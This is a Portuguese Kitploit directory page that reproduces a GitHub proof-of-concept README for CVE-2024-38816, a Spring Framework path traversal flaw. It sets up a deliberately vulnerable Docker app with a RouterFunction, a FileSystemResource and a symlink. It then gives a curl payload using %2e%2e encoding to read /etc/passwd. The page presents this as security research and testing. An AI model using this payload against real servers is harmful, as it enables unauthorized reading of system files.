Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/wulinpin/cve-2024-38816-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubwulinpin/cve-2024-38816-poc

CVE-2024-38816-PoC

CVE-2024-38816 Prova de Conceito

Ver Repositório
97há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-38816 Prova de Conceito (PoC)

Esta é uma prova de conceito para a vulnerabilidade CVE-2024-38816, demonstrando uma exploração de path traversal.

Etapas de Execução

  1. Construa a imagem Docker: (Spring Boot 3.0.13, baseado no Spring Framework 6.0.3)

    root@kitploit:~
    docker build -t cve-2024-38816-poc .
    
  2. Execute o contêiner e exponha a porta 8080 para a máquina host:

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
    
  3. Execute o seguinte comando para executar o PoC e confirmar a vulnerabilidade:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    Se o conteúdo do arquivo /etc/passwd for exibido, a vulnerabilidade é confirmada.

Notas

Este PoC foi criado com base em uma análise das notas de versão e dos logs de commits. O comportamento da vulnerabilidade real pode diferir, portanto a precisão não é garantida. Use por sua conta e risco.

Considerações

  1. A vulnerabilidade foi corrigida no Spring Framework 6.1.13, conforme confirmado pelas notas de versão.

  2. Ao revisar as notas de versão e os logs de commits relacionados, identifiquei os seguintes dois problemas como potencialmente ligados a esta vulnerabilidade:

    • Issue #33424: Uma nova opção relacionada a links simbólicos foi adicionada.
      • Commit relacionado: 5d80d75051f395c17f6b9367e267d458585b336d
    • Issue #33434: O código para sanitizar caracteres codificados com % foi modificado.
      • Commit relacionado: d86bf8b2056429edf5494456cffcb2b243331c49
  3. De acordo com o aviso de segurança, as seguintes condições provavelmente precisam ser atendidas para que o ataque tenha sucesso:

    • RouterFunctions é usado
    • FileSystemResource é usado
    • Links simbólicos estão presentes
    • Caracteres codificados com % estão envolvidos no ataque

Configuração do Ambiente

Um ambiente Docker é usado para reproduzir a vulnerabilidade.

  1. Crie PathTraversalDemoApplication.java com o seguinte código para configurar o roteamento de arquivos estáticos usando RouterFunction e FileSystemResource:

    root@kitploit:~
    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    
  2. Adicione o seguinte comando ao Dockerfile para criar um link simbólico:

    root@kitploit:~
    RUN ln -s /static /app/static/link
    
  3. Crie um payload que utilize a codificação % para atravessar diretórios por meio do link simbólico.

    • Caminho: /static/link/%2e%2e/etc/passwd
  4. Use o seguinte comando curl para executar o PoC e verificar se o ataque é bem-sucedido:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    Se o ataque for bem-sucedido, o conteúdo do arquivo /etc/passwd será exibido.

Aviso Legal

Este PoC é fornecido para fins educacionais e de pesquisa em segurança. Antes de usá-lo em um sistema real, certifique-se de que a vulnerabilidade foi corrigida e de que você tem autorização adequada. O autor não se responsabiliza por qualquer uso indevido deste código.

Baixar ferramenta